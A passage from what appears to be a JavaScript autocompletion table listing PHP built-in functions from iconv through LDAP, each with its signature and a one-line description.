passed Interbase events to be posted by the database, and returns its name\"],iconv:[\"string iconv(string in_charset, string out_charset, string str)\",\"Returns str converted to the out_charset character set\"],iconv_get_encoding:[\"mixed iconv_get_encoding([string type])\",\"Get internal encoding and output encoding for ob_iconv_handler()\"],iconv_mime_decode:[\"string iconv_mime_decode(string encoded_string [, int mode, string charset])\",\"Decodes a mime header field\"],iconv_mime_decode_headers:[\"array iconv_mime_decode_headers(string headers [, int mode, string charset])\",\"Decodes multiple mime header fields\"],iconv_mime_encode:[\"string iconv_mime_encode(string field_name, string field_value [, array preference])\",\"Composes a mime header field with field_name and field_value in a specified scheme\"],iconv_set_encoding:[\"bool iconv_set_encoding(string type, string charset)\",\"Sets internal encoding and output encoding for ob_iconv_handler()\"],iconv_strlen:[\"int iconv_strlen(string str [, string charset])\",\"Returns the character count of str\"],iconv_strpos:[\"int iconv_strpos(string haystack, string needle [, int offset [, string charset]])\",\"Finds position of first occurrence of needle within part of haystack beginning with offset\"],iconv_strrpos:[\"int iconv_strrpos(string haystack, string needle [, string charset])\",\"Finds position of last occurrence of needle within part of haystack beginning with offset\"],iconv_substr:[\"string iconv_substr(string str, int offset, [int length, string charset])\",\"Returns specified part of a string\"],idate:[\"int idate(string format [, int timestamp])\",\"Format a local time/date as integer\"],idn_to_ascii:[\"int idn_to_ascii(string domain[, int options])\",\"Converts an Unicode domain to ASCII representation, as defined in the IDNA RFC\"],idn_to_utf8:[\"int idn_to_utf8(string domain[, int options])\",\"Converts an ASCII representation of the domain to Unicode (UTF-8), as defined in the IDNA RFC\"],ignore_user_abort:[\"int ignore_user_abort([string value])\",\"Set whether we want to ignore a user abort event or not\"],image2wbmp:[\"bool image2wbmp(resource im [, string filename [, int threshold]])\",\"Output WBMP image to browser or file\"],image_type_to_extension:[\"string image_type_to_extension(int imagetype [, bool include_dot])\",\"Get file extension for image-type returned by getimagesize, exif_read_data, exif_thumbnail, exif_imagetype\"],image_type_to_mime_type:[\"string image_type_to_mime_type(int imagetype)\",\"Get Mime-Type for image-type returned by getimagesize, exif_read_data, exif_thumbnail, exif_imagetype\"],imagealphablending:[\"bool imagealphablending(resource im, bool on)\",\"Turn alpha blending mode on or off for the given image\"],imageantialias:[\"bool imageantialias(resource im, bool on)\",\"Should antialiased functions used or not\"],imagearc:[\"bool imagearc(resource im, int cx, int cy, int w, int h, int s, int e, int col)\",\"Draw a partial ellipse\"],imagechar:[\"bool imagechar(resource im, int font, int x, int y, string c, int col)\",\"Draw a character\"],imagecharup:[\"bool imagecharup(resource im, int font, int x, int y, string c, int col)\",\"Draw a character rotated 90 degrees counter-clockwise\"],imagecolorallocate:[\"int imagecolorallocate(resource im, int red, int green, int blue)\",\"Allocate a color for an image\"],imagecolorallocatealpha:[\"int imagecolorallocatealpha(resource im, int red, int green, int blue, int alpha)\",\"Allocate a color with an alpha level.  Works for true color and palette based images\"],imagecolorat:[\"int imagecolorat(resource im, int x, int y)\",\"Get the index of the color of a pixel\"],imagecolorclosest:[\"int imagecolorclosest(resource im, int red, int green, int blue)\",\"Get the index of the closest color to the specified color\"],imagecolorclosestalpha:[\"int imagecolorclosestalpha(resource im, int red, int green, int blue, int alpha)\",\"Find the closest matching colour with alpha transparency\"],imagecolorclosesthwb:[\"int imagecolorclosesthwb(resource im, int red, int green, int blue)\",\"Get the index of the color which has the hue, white and blackness nearest to the given color\"],imagecolordeallocate:[\"bool imagecolordeallocate(resource im, int index)\",\"De-allocate a color for an image\"],imagecolorexact:[\"int imagecolorexact(resource im, int red, int green, int blue)\",\"Get the index of the specified color\"],imagecolorexactalpha:[\"int imagecolorexactalpha(resource im, int red, int green, int blue, int alpha)\",\"Find exact match for colour with transparency\"],imagecolormatch:[\"bool imagecolormatch(resource im1, resource im2)\",\"Makes the colors of the palette version of an image more closely match the true color version\"],imagecolorresolve:[\"int imagecolorresolve(resource im, int red, int green, int blue)\",\"Get the index of the specified color or its closest possible alternative\"],imagecolorresolvealpha:[\"int imagecolorresolvealpha(resource im, int red, int green, int blue, int alpha)\",\"Resolve/Allocate a colour with an alpha level.  Works for true colour and palette based images\"],imagecolorset:[\"void imagecolorset(resource im, int col, int red, int green, int blue)\",\"Set the color for the specified palette index\"],imagecolorsforindex:[\"array imagecolorsforindex(resource im, int col)\",\"Get the colors for an index\"],imagecolorstotal:[\"int imagecolorstotal(resource im)\",\"Find out the number of colors in an image's palette\"],imagecolortransparent:[\"int imagecolortransparent(resource im [, int col])\",\"Define a color as transparent\"],imageconvolution:[\"resource imageconvolution(resource src_im, array matrix3x3, double div, double offset)\",\"Apply a 3x3 convolution matrix, using coefficient div and offset\"],imagecopy:[\"bool imagecopy(resource dst_im, resource src_im, int dst_x, int dst_y, int src_x, int src_y, int src_w, int src_h)\",\"Copy part of an image\"],imagecopymerge:[\"bool imagecopymerge(resource src_im, resource dst_im, int dst_x, int dst_y, int src_x, int src_y, int src_w, int src_h, int pct)\",\"Merge one part of an image with another\"],imagecopymergegray:[\"bool imagecopymergegray(resource src_im, resource dst_im, int dst_x, int dst_y, int src_x, int src_y, int src_w, int src_h, int pct)\",\"Merge one part of an image with another\"],imagecopyresampled:[\"bool imagecopyresampled(resource dst_im, resource src_im, int dst_x, int dst_y, int src_x, int src_y, int dst_w, int dst_h, int src_w, int src_h)\",\"Copy and resize part of an image using resampling to help ensure clarity\"],imagecopyresized:[\"bool imagecopyresized(resource dst_im, resource src_im, int dst_x, int dst_y, int src_x, int src_y, int dst_w, int dst_h, int src_w, int src_h)\",\"Copy and resize part of an image\"],imagecreate:[\"resource imagecreate(int x_size, int y_size)\",\"Create a new image\"],imagecreatefromgd:[\"resource imagecreatefromgd(string filename)\",\"Create a new image from GD file or URL\"],imagecreatefromgd2:[\"resource imagecreatefromgd2(string filename)\",\"Create a new image from GD2 file or URL\"],imagecreatefromgd2part:[\"resource imagecreatefromgd2part(string filename, int srcX, int srcY, int width, int height)\",\"Create a new image from a given part of GD2 file or URL\"],imagecreatefromgif:[\"resource imagecreatefromgif(string filename)\",\"Create a new image from GIF file or URL\"],imagecreatefromjpeg:[\"resource imagecreatefromjpeg(string filename)\",\"Create a new image from JPEG file or URL\"],imagecreatefrompng:[\"resource imagecreatefrompng(string filename)\",\"Create a new image from PNG file or URL\"],imagecreatefromstring:[\"resource imagecreatefromstring(string image)\",\"Create a new image from the image stream in the string\"],imagecreatefromwbmp:[\"resource imagecreatefromwbmp(string filename)\",\"Create a new image from WBMP file or URL\"],imagecreatefromxbm:[\"resource imagecreatefromxbm(string filename)\",\"Create a new image from XBM file or URL\"],imagecreatefromxpm:[\"resource imagecreatefromxpm(string filename)\",\"Create a new image from XPM file or URL\"],imagecreatetruecolor:[\"resource imagecreatetruecolor(int x_size, int y_size)\",\"Create a new true color image\"],imagedashedline:[\"bool imagedashedline(resource im, int x1, int y1, int x2, int y2, int col)\",\"Draw a dashed line\"],imagedestroy:[\"bool imagedestroy(resource im)\",\"Destroy an image\"],imageellipse:[\"bool imageellipse(resource im, int cx, int cy, int w, int h, int color)\",\"Draw an ellipse\"],imagefill:[\"bool imagefill(resource im, int x, int y, int col)\",\"Flood fill\"],imagefilledarc:[\"bool imagefilledarc(resource im, int cx, int cy, int w, int h, int s, int e, int col, int style)\",\"Draw a filled partial ellipse\"],imagefilledellipse:[\"bool imagefilledellipse(resource im, int cx, int cy, int w, int h, int color)\",\"Draw an ellipse\"],imagefilledpolygon:[\"bool imagefilledpolygon(resource im, array point, int num_points, int col)\",\"Draw a filled polygon\"],imagefilledrectangle:[\"bool imagefilledrectangle(resource im, int x1, int y1, int x2, int y2, int col)\",\"Draw a filled rectangle\"],imagefilltoborder:[\"bool imagefilltoborder(resource im, int x, int y, int border, int col)\",\"Flood fill to specific color\"],imagefilter:[\"bool imagefilter(resource src_im, int filtertype, [args] )\",\"Applies Filter an image using a custom angle\"],imagefontheight:[\"int imagefontheight(int font)\",\"Get font height\"],imagefontwidth:[\"int imagefontwidth(int font)\",\"Get font width\"],imageftbbox:[\"array imageftbbox(float size, float angle, string font_file, string text [, array extrainfo])\",\"Give the bounding box of a text using fonts via freetype2\"],imagefttext:[\"array imagefttext(resource im, float size, float angle, int x, int y, int col, string font_file, string text [, array extrainfo])\",\"Write text to the image using fonts via freetype2\"],imagegammacorrect:[\"bool imagegammacorrect(resource im, float inputgamma, float outputgamma)\",\"Apply a gamma correction to a GD image\"],imagegd:[\"bool imagegd(resource im [, string filename])\",\"Output GD image to browser or file\"],imagegd2:[\"bool imagegd2(resource im [, string filename, [, int chunk_size, [, int type]]])\",\"Output GD2 image to browser or file\"],imagegif:[\"bool imagegif(resource im [, string filename])\",\"Output GIF image to browser or file\"],imagegrabscreen:[\"resource imagegrabscreen()\",\"Grab a screenshot\"],imagegrabwindow:[\"resource imagegrabwindow(int window_handle [, int client_area])\",\"Grab a window or its client area using a windows handle (HWND property in COM instance)\"],imageinterlace:[\"int imageinterlace(resource im [, int interlace])\",\"Enable or disable interlace\"],imageistruecolor:[\"bool imageistruecolor(resource im)\",\"return true if the image uses truecolor\"],imagejpeg:[\"bool imagejpeg(resource im [, string filename [, int quality]])\",\"Output JPEG image to browser or file\"],imagelayereffect:[\"bool imagelayereffect(resource im, int effect)\",\"Set the alpha blending flag to use the bundled libgd layering effects\"],imageline:[\"bool imageline(resource im, int x1, int y1, int x2, int y2, int col)\",\"Draw a line\"],imageloadfont:[\"int imageloadfont(string filename)\",\"Load a new font\"],imagepalettecopy:[\"void imagepalettecopy(resource dst, resource src)\",\"Copy the palette from the src image onto the dst image\"],imagepng:[\"bool imagepng(resource im [, string filename])\",\"Output PNG image to browser or file\"],imagepolygon:[\"bool imagepolygon(resource im, array point, int num_points, int col)\",\"Draw a polygon\"],imagepsbbox:[\"array imagepsbbox(string text, resource font, int size [, int space, int tightness, float angle])\",\"Return the bounding box needed by a string if rasterized\"],imagepscopyfont:[\"int imagepscopyfont(int font_index)\",\"Make a copy of a font for purposes like extending or reenconding\"],imagepsencodefont:[\"bool imagepsencodefont(resource font_index, string filename)\",\"To change a fonts character encoding vector\"],imagepsextendfont:[\"bool imagepsextendfont(resource font_index, float extend)\",\"Extend or or condense (if extend < 1) a font\"],imagepsfreefont:[\"bool imagepsfreefont(resource font_index)\",\"Free memory used by a font\"],imagepsloadfont:[\"resource imagepsloadfont(string pathname)\",\"Load a new font from specified file\"],imagepsslantfont:[\"bool imagepsslantfont(resource font_index, float slant)\",\"Slant a font\"],imagepstext:[\"array imagepstext(resource image, string text, resource font, int size, int foreground, int background, int xcoord, int ycoord [, int space [, int tightness [, float angle [, int antialias])\",\"Rasterize a string over an image\"],imagerectangle:[\"bool imagerectangle(resource im, int x1, int y1, int x2, int y2, int col)\",\"Draw a rectangle\"],imagerotate:[\"resource imagerotate(resource src_im, float angle, int bgdcolor [, int ignoretransparent])\",\"Rotate an image using a custom angle\"],imagesavealpha:[\"bool imagesavealpha(resource im, bool on)\",\"Include alpha channel to a saved image\"],imagesetbrush:[\"bool imagesetbrush(resource image, resource brush)\",'Set the brush image to $brush when filling $image with the \"IMG_COLOR_BRUSHED\" color'],imagesetpixel:[\"bool imagesetpixel(resource im, int x, int y, int col)\",\"Set a single pixel\"],imagesetstyle:[\"bool imagesetstyle(resource im, array styles)\",\"Set the line drawing styles for use with imageline and IMG_COLOR_STYLED.\"],imagesetthickness:[\"bool imagesetthickness(resource im, int thickness)\",\"Set line thickness for drawing lines, ellipses, rectangles, polygons etc.\"],imagesettile:[\"bool imagesettile(resource image, resource tile)\",'Set the tile image to $tile when filling $image with the \"IMG_COLOR_TILED\" color'],imagestring:[\"bool imagestring(resource im, int font, int x, int y, string str, int col)\",\"Draw a string horizontally\"],imagestringup:[\"bool imagestringup(resource im, int font, int x, int y, string str, int col)\",\"Draw a string vertically - rotated 90 degrees counter-clockwise\"],imagesx:[\"int imagesx(resource im)\",\"Get image width\"],imagesy:[\"int imagesy(resource im)\",\"Get image height\"],imagetruecolortopalette:[\"void imagetruecolortopalette(resource im, bool ditherFlag, int colorsWanted)\",\"Convert a true colour image to a palette based image with a number of colours, optionally using dithering.\"],imagettfbbox:[\"array imagettfbbox(float size, float angle, string font_file, string text)\",\"Give the bounding box of a text using TrueType fonts\"],imagettftext:[\"array imagettftext(resource im, float size, float angle, int x, int y, int col, string font_file, string text)\",\"Write text to the image using a TrueType font\"],imagetypes:[\"int imagetypes(void)\",\"Return the types of images supported in a bitfield - 1=GIF, 2=JPEG, 4=PNG, 8=WBMP, 16=XPM\"],imagewbmp:[\"bool imagewbmp(resource im [, string filename, [, int foreground]])\",\"Output WBMP image to browser or file\"],imagexbm:[\"int imagexbm(int im, string filename [, int foreground])\",\"Output XBM image to browser or file\"],imap_8bit:[\"string imap_8bit(string text)\",\"Convert an 8-bit string to a quoted-printable string\"],imap_alerts:[\"array imap_alerts(void)\",\"Returns an array of all IMAP alerts that have been generated since the last page load or since the last imap_alerts() call, whichever came last. The alert stack is cleared after imap_alerts() is called.\"],imap_append:[\"bool imap_append(resource stream_id, string folder, string message [, string options [, string internal_date]])\",\"Append a new message to a specified mailbox\"],imap_base64:[\"string imap_base64(string text)\",\"Decode BASE64 encoded text\"],imap_binary:[\"string imap_binary(string text)\",\"Convert an 8bit string to a base64 string\"],imap_body:[\"string imap_body(resource stream_id, int msg_no [, int options])\",\"Read the message body\"],imap_bodystruct:[\"object imap_bodystruct(resource stream_id, int msg_no, string section)\",\"Read the structure of a specified body section of a specific message\"],imap_check:[\"object imap_check(resource stream_id)\",\"Get mailbox properties\"],imap_clearflag_full:[\"bool imap_clearflag_full(resource stream_id, string sequence, string flag [, int options])\",\"Clears flags on messages\"],imap_close:[\"bool imap_close(resource stream_id [, int options])\",\"Close an IMAP stream\"],imap_createmailbox:[\"bool imap_createmailbox(resource stream_id, string mailbox)\",\"Create a new mailbox\"],imap_delete:[\"bool imap_delete(resource stream_id, int msg_no [, int options])\",\"Mark a message for deletion\"],imap_deletemailbox:[\"bool imap_deletemailbox(resource stream_id, string mailbox)\",\"Delete a mailbox\"],imap_errors:[\"array imap_errors(void)\",\"Returns an array of all IMAP errors generated since the last page load, or since the last imap_errors() call, whichever came last. The error stack is cleared after imap_errors() is called.\"],imap_expunge:[\"bool imap_expunge(resource stream_id)\",\"Permanently delete all messages marked for deletion\"],imap_fetch_overview:[\"array imap_fetch_overview(resource stream_id, string sequence [, int options])\",\"Read an overview of the information in the headers of the given message sequence\"],imap_fetchbody:[\"string imap_fetchbody(resource stream_id, int msg_no, string section [, int options])\",\"Get a specific body section\"],imap_fetchheader:[\"string imap_fetchheader(resource stream_id, int msg_no [, int options])\",\"Get the full unfiltered header for a message\"],imap_fetchstructure:[\"object imap_fetchstructure(resource stream_id, int msg_no [, int options])\",\"Read the full structure of a message\"],imap_gc:[\"bool imap_gc(resource stream_id, int flags)\",\"This function garbage collects (purges) the cache of entries of a specific type.\"],imap_get_quota:[\"array imap_get_quota(resource stream_id, string qroot)\",\"Returns the quota set to the mailbox account qroot\"],imap_get_quotaroot:[\"array imap_get_quotaroot(resource stream_id, string mbox)\",\"Returns the quota set to the mailbox account mbox\"],imap_getacl:[\"array imap_getacl(resource stream_id, string mailbox)\",\"Gets the ACL for a given mailbox\"],imap_getmailboxes:[\"array imap_getmailboxes(resource stream_id, string ref, string pattern)\",\"Reads the list of mailboxes and returns a full array of objects containing name, attributes, and delimiter\"],imap_getsubscribed:[\"array imap_getsubscribed(resource stream_id, string ref, string pattern)\",\"Return a list of subscribed mailboxes, in the same format as imap_getmailboxes()\"],imap_headerinfo:[\"object imap_headerinfo(resource stream_id, int msg_no [, int from_length [, int subject_length [, string default_host]]])\",\"Read the headers of the message\"],imap_headers:[\"array imap_headers(resource stream_id)\",\"Returns headers for all messages in a mailbox\"],imap_last_error:[\"string imap_last_error(void)\",\"Returns the last error that was generated by an IMAP function. The error stack is NOT cleared after this call.\"],imap_list:[\"array imap_list(resource stream_id, string ref, string pattern)\",\"Read the list of mailboxes\"],imap_listscan:[\"array imap_listscan(resource stream_id, string ref, string pattern, string content)\",\"Read list of mailboxes containing a certain string\"],imap_lsub:[\"array imap_lsub(resource stream_id, string ref, string pattern)\",\"Return a list of subscribed mailboxes\"],imap_mail:[\"bool imap_mail(string to, string subject, string message [, string additional_headers [, string cc [, string bcc [, string rpath]]]])\",\"Send an email message\"],imap_mail_compose:[\"string imap_mail_compose(array envelope, array body)\",\"Create a MIME message based on given envelope and body sections\"],imap_mail_copy:[\"bool imap_mail_copy(resource stream_id, string msglist, string mailbox [, int options])\",\"Copy specified message to a mailbox\"],imap_mail_move:[\"bool imap_mail_move(resource stream_id, string sequence, string mailbox [, int options])\",\"Move specified message to a mailbox\"],imap_mailboxmsginfo:[\"object imap_mailboxmsginfo(resource stream_id)\",\"Returns info about the current mailbox\"],imap_mime_header_decode:[\"array imap_mime_header_decode(string str)\",\"Decode mime header element in accordance with RFC 2047 and return array of objects containing 'charset' encoding and decoded 'text'\"],imap_msgno:[\"int imap_msgno(resource stream_id, int unique_msg_id)\",\"Get the sequence number associated with a UID\"],imap_mutf7_to_utf8:[\"string imap_mutf7_to_utf8(string in)\",\"Decode a modified UTF-7 string to UTF-8\"],imap_num_msg:[\"int imap_num_msg(resource stream_id)\",\"Gives the number of messages in the current mailbox\"],imap_num_recent:[\"int imap_num_recent(resource stream_id)\",\"Gives the number of recent messages in current mailbox\"],imap_open:[\"resource imap_open(string mailbox, string user, string password [, int options [, int n_retries]])\",\"Open an IMAP stream to a mailbox\"],imap_ping:[\"bool imap_ping(resource stream_id)\",\"Check if the IMAP stream is still active\"],imap_qprint:[\"string imap_qprint(string text)\",\"Convert a quoted-printable string to an 8-bit string\"],imap_renamemailbox:[\"bool imap_renamemailbox(resource stream_id, string old_name, string new_name)\",\"Rename a mailbox\"],imap_reopen:[\"bool imap_reopen(resource stream_id, string mailbox [, int options [, int n_retries]])\",\"Reopen an IMAP stream to a new mailbox\"],imap_rfc822_parse_adrlist:[\"array imap_rfc822_parse_adrlist(string address_string, string default_host)\",\"Parses an address string\"],imap_rfc822_parse_headers:[\"object imap_rfc822_parse_headers(string headers [, string default_host])\",\"Parse a set of mail headers contained in a string, and return an object similar to imap_headerinfo()\"],imap_rfc822_write_address:[\"string imap_rfc822_write_address(string mailbox, string host, string personal)\",\"Returns a properly formatted email address given the mailbox, host, and personal info\"],imap_savebody:['bool imap_savebody(resource stream_id, string|resource file, int msg_no[, string section = \"\"[, int options = 0]])',\"Save a specific body section to a file\"],imap_search:[\"array imap_search(resource stream_id, string criteria [, int options [, string charset]])\",\"Return a list of messages matching the given criteria\"],imap_set_quota:[\"bool imap_set_quota(resource stream_id, string qroot, int mailbox_size)\",\"Will set the quota for qroot mailbox\"],imap_setacl:[\"bool imap_setacl(resource stream_id, string mailbox, string id, string rights)\",\"Sets the ACL for a given mailbox\"],imap_setflag_full:[\"bool imap_setflag_full(resource stream_id, string sequence, string flag [, int options])\",\"Sets flags on messages\"],imap_sort:[\"array imap_sort(resource stream_id, int criteria, int reverse [, int options [, string search_criteria [, string charset]]])\",\"Sort an array of message headers, optionally including only messages that meet specified criteria.\"],imap_status:[\"object imap_status(resource stream_id, string mailbox, int options)\",\"Get status info from a mailbox\"],imap_subscribe:[\"bool imap_subscribe(resource stream_id, string mailbox)\",\"Subscribe to a mailbox\"],imap_thread:[\"array imap_thread(resource stream_id [, int options])\",\"Return threaded by REFERENCES tree\"],imap_timeout:[\"mixed imap_timeout(int timeout_type [, int timeout])\",\"Set or fetch imap timeout\"],imap_uid:[\"int imap_uid(resource stream_id, int msg_no)\",\"Get the unique message id associated with a standard sequential message number\"],imap_undelete:[\"bool imap_undelete(resource stream_id, int msg_no [, int flags])\",\"Remove the delete flag from a message\"],imap_unsubscribe:[\"bool imap_unsubscribe(resource stream_id, string mailbox)\",\"Unsubscribe from a mailbox\"],imap_utf7_decode:[\"string imap_utf7_decode(string buf)\",\"Decode a modified UTF-7 string\"],imap_utf7_encode:[\"string imap_utf7_encode(string buf)\",\"Encode a string in modified UTF-7\"],imap_utf8:[\"string imap_utf8(string mime_encoded_text)\",\"Convert a mime-encoded text to UTF-8\"],imap_utf8_to_mutf7:[\"string imap_utf8_to_mutf7(string in)\",\"Encode a UTF-8 string to modified UTF-7\"],implode:[\"string implode([string glue,] array pieces)\",\"Joins array elements placing glue string between items and return one string\"],import_request_variables:[\"bool import_request_variables(string types [, string prefix])\",\"Import GET/POST/Cookie variables into the global scope\"],in_array:[\"bool in_array(mixed needle, array haystack [, bool strict])\",\"Checks if the given value exists in the array\"],include:[\"bool include(string path)\",\"Includes and evaluates the specified file\"],include_once:[\"bool include_once(string path)\",\"Includes and evaluates the specified file\"],inet_ntop:[\"string inet_ntop(string in_addr)\",\"Converts a packed inet address to a human readable IP address string\"],inet_pton:[\"string inet_pton(string ip_address)\",\"Converts a human readable IP address to a packed binary string\"],ini_get:[\"string ini_get(string varname)\",\"Get a configuration option\"],ini_get_all:[\"array ini_get_all([string extension[, bool details = true]])\",\"Get all configuration options\"],ini_restore:[\"void ini_restore(string varname)\",\"Restore the value of a configuration option specified by varname\"],ini_set:[\"string ini_set(string varname, string newvalue)\",\"Set a configuration option, returns false on error and the old value of the configuration option on success\"],interface_exists:[\"bool interface_exists(string classname [, bool autoload])\",\"Checks if the class exists\"],intl_error_name:[\"string intl_error_name()\",\"* Return a string for a given error code.  * The string will be the same as the name of the error code constant.\"],intl_get_error_code:[\"int intl_get_error_code()\",\"* Get code of the last occured error.\"],intl_get_error_message:[\"string intl_get_error_message()\",\"* Get text description of the last occured error.\"],intl_is_failure:[\"bool intl_is_failure()\",\"* Check whether the given error code indicates a failure.  * Returns true if it does, and false if the code  * indicates success or a warning.\"],intval:[\"int intval(mixed var [, int base])\",\"Get the integer value of a variable using the optional base for the conversion\"],ip2long:[\"int ip2long(string ip_address)\",\"Converts a string containing an (IPv4) Internet Protocol dotted address into a proper address\"],iptcembed:[\"array iptcembed(string iptcdata, string jpeg_file_name [, int spool])\",\"Embed binary IPTC data into a JPEG image.\"],iptcparse:[\"array iptcparse(string iptcdata)\",\"Parse binary IPTC-data into associative array\"],is_a:[\"bool is_a(object object, string class_name)\",\"Returns true if the object is of this class or has this class as one of its parents\"],is_array:[\"bool is_array(mixed var)\",\"Returns true if variable is an array\"],is_bool:[\"bool is_bool(mixed var)\",\"Returns true if variable is a boolean\"],is_callable:[\"bool is_callable(mixed var [, bool syntax_only [, string callable_name]])\",\"Returns true if var is callable.\"],is_dir:[\"bool is_dir(string filename)\",\"Returns true if file is directory\"],is_executable:[\"bool is_executable(string filename)\",\"Returns true if file is executable\"],is_file:[\"bool is_file(string filename)\",\"Returns true if file is a regular file\"],is_finite:[\"bool is_finite(float val)\",\"Returns whether argument is finite\"],is_float:[\"bool is_float(mixed var)\",\"Returns true if variable is float point\"],is_infinite:[\"bool is_infinite(float val)\",\"Returns whether argument is infinite\"],is_link:[\"bool is_link(string filename)\",\"Returns true if file is symbolic link\"],is_long:[\"bool is_long(mixed var)\",\"Returns true if variable is a long (integer)\"],is_nan:[\"bool is_nan(float val)\",\"Returns whether argument is not a number\"],is_null:[\"bool is_null(mixed var)\",\"Returns true if variable is null\"],is_numeric:[\"bool is_numeric(mixed value)\",\"Returns true if value is a number or a numeric string\"],is_object:[\"bool is_object(mixed var)\",\"Returns true if variable is an object\"],is_readable:[\"bool is_readable(string filename)\",\"Returns true if file can be read\"],is_resource:[\"bool is_resource(mixed var)\",\"Returns true if variable is a resource\"],is_scalar:[\"bool is_scalar(mixed value)\",\"Returns true if value is a scalar\"],is_string:[\"bool is_string(mixed var)\",\"Returns true if variable is a string\"],is_subclass_of:[\"bool is_subclass_of(object object, string class_name)\",\"Returns true if the object has this class as one of its parents\"],is_uploaded_file:[\"bool is_uploaded_file(string path)\",\"Check if file was created by rfc1867 upload\"],is_writable:[\"bool is_writable(string filename)\",\"Returns true if file can be written\"],isset:[\"bool isset(mixed var [, mixed var])\",\"Determine whether a variable is set\"],iterator_apply:[\"int iterator_apply(Traversable it, mixed function [, mixed params])\",\"Calls a function for every element in an iterator\"],iterator_count:[\"int iterator_count(Traversable it)\",\"Count the elements in an iterator\"],iterator_to_array:[\"array iterator_to_array(Traversable it [, bool use_keys = true])\",\"Copy the iterator into an array\"],jddayofweek:[\"mixed jddayofweek(int juliandaycount [, int mode])\",\"Returns name or number of day of week from julian day count\"],jdmonthname:[\"string jdmonthname(int juliandaycount, int mode)\",\"Returns name of month for julian day count\"],jdtofrench:[\"string jdtofrench(int juliandaycount)\",\"Converts a julian day count to a french republic calendar date\"],jdtogregorian:[\"string jdtogregorian(int juliandaycount)\",\"Converts a julian day count to a gregorian calendar date\"],jdtojewish:[\"string jdtojewish(int juliandaycount [, bool hebrew [, int fl]])\",\"Converts a julian day count to a jewish calendar date\"],jdtojulian:[\"string jdtojulian(int juliandaycount)\",\"Convert a julian day count to a julian calendar date\"],jdtounix:[\"int jdtounix(int jday)\",\"Convert Julian Day to UNIX timestamp\"],jewishtojd:[\"int jewishtojd(int month, int day, int year)\",\"Converts a jewish calendar date to a julian day count\"],join:[\"string join(array src, string glue)\",\"An alias for implode\"],jpeg2wbmp:[\"bool jpeg2wbmp (string f_org, string f_dest, int d_height, int d_width, int threshold)\",\"Convert JPEG image to WBMP image\"],json_decode:[\"mixed json_decode(string json [, bool assoc [, long depth]])\",\"Decodes the JSON representation into a PHP value\"],json_encode:[\"string json_encode(mixed data [, int options])\",\"Returns the JSON representation of a value\"],json_last_error:[\"int json_last_error()\",\"Returns the error code of the last json_decode().\"],juliantojd:[\"int juliantojd(int month, int day, int year)\",\"Converts a julian calendar date to julian day count\"],key:[\"mixed key(array array_arg)\",\"Return the key of the element currently pointed to by the internal array pointer\"],krsort:[\"bool krsort(array &array_arg [, int sort_flags])\",\"Sort an array by key value in reverse order\"],ksort:[\"bool ksort(array &array_arg [, int sort_flags])\",\"Sort an array by key\"],lcfirst:[\"string lcfirst(string str)\",\"Make a string's first character lowercase\"],lcg_value:[\"float lcg_value()\",\"Returns a value from the combined linear congruential generator\"],lchgrp:[\"bool lchgrp(string filename, mixed group)\",\"Change symlink group\"],ldap_8859_to_t61:[\"string ldap_8859_to_t61(string value)\",\"Translate 8859 characters to t61 characters\"],ldap_add:[\"bool ldap_add(resource link, string dn, array entry)\",\"Add entries to LDAP directory\"],ldap_bind:[\"bool ldap_bind(resource link [, string dn [, string password]])\",\"Bind to LDAP directory\"],ldap_compare:[\"bool ldap_compare(resource link, string dn, string attr, string value)\",\"Determine if an entry has a specific value for one of its attributes\"],ldap_connect:[\"resource ldap_connect([string host [, int port [, string wallet [, string wallet_passwd [, int authmode]]]]])\",\"Connect to an LDAP server\"],ldap_count_entries:[\"int ldap_count_entries(resource link, resource result)\",\"Count the number of entries in a search result\"],ldap_delete:[\"bool ldap_delete(resource link, string dn)\",\"Delete an entry from a directory\"],ldap_dn2ufn:[\"string ldap_dn2ufn(string dn)\",\"Convert DN to User Friendly Naming format\"],ldap_err2str:[\"string ldap_err2str(int errno)\",\"Convert error number to error string\"],ldap_errno:[\"int ldap_errno(resource link)\",\"Get the current ldap error number\"],ldap_error:[\"string ldap_error(resource link)\",\"Get the current ldap error string\"],ldap_explode_dn:[\"array ldap_explode_dn(string dn, int with_attrib)\",\"Splits DN into its component parts\"],ldap_first_attribute:[\"string ldap_first_attribute(resource link, resource result_entry)\",\"Return first attribute\"],ldap_first_entry:[\"resource ldap_first_entry(resource link, resource result)\",\"Return first result id\"],ldap_first_reference:[\"resource ldap_first_reference(resource link, resource result)\",\"Return first reference\"],ldap_free_result:[\"bool ldap_free_result(resource result)\",\"Free result memory\"],ldap_get_attributes:[\"array ldap_get_attributes(resource link, resource result_entry)\",\"Get attributes from a search result entry\"],ldap_get_dn:[\"string ldap_get_dn(resource link, resource result_entry)\",\"Get the DN of a result entry\"],ldap_get_entries:[\"array ldap_get_entries(resource link, resource result)\",\"Get all result entries\"],ldap_get_option:[\"bool ldap_get_option(resource link, int option, mixed retval)\",\"Get the current value of various session-wide parameters\"],ldap_get_values_len:[\"array ldap_get_values_len(resource link, resource result_entry, string attribute)\",\"Get all values with lengths from a result entry\"],ldap_list:[\"resource ldap_list(resource|array link, string base_dn, string filter [, array attrs [, int attrsonly [, int sizelimit [, int timelimit [, int deref]]]]])\",\"Single-level search\"],ldap_mod_add:[\"bool ldap_mod_add(resource link, string dn, array entry)\",\"Add attribute values to current\"],ldap_mod_del:[\"bool ldap_mod_del(resource link, string dn, array entry)\",\"Delete attribute values\"],ldap_mod_replace:[\"bool ldap_mod_replace(resource link, string dn, array entry)\",\"Replace attribute values with new ones\"],ldap_next_attribute:[\"string ldap_next_attribute(resource link, resource result_entry)\",\"Get the next attribute in result\"],ldap_next_entry:[\"resource ldap_next_entry(resource link, resource result_entry)\",\"Get next result entry\"],ldap_next_reference:[\"resource ldap_next_reference(resource link, resource reference_entry)\",\"Get next reference\"],ldap_parse_reference:[\"bool ldap_parse_reference(resource link, resource reference_entry, array referrals)\",\"Extract information from reference entry\"],ldap_parse_result:[\"bool ldap_parse_result(resource link, resource result, int errcode, string matcheddn, string errmsg, array referrals)\",\"Extract information from result\"],ldap_read:[\"resource ldap_read(resource|array link, string base_dn, string filter [, array attrs [, int attrsonly [, int sizelimit [, int timelimit [, int deref]]]]])\",\"Read an entry\"],ldap_rename:[\"bool ldap_rename(resource link, string dn, string newrdn, string newparent, bool deleteoldrdn);\",\"Modify the name of an entry\"],ldap_sasl_bind:[\"bool ldap_sasl_bind(resource link [, string binddn [, string password [, string sasl_mech [, string sasl_realm [, string sasl_authc_id [, string sasl_authz_id [, string props]]]]]]])\",\"Bind to LDAP directory using SASL\"],ldap_search:[\"resource ldap_search(resource|array link, string base_dn, string filter [, 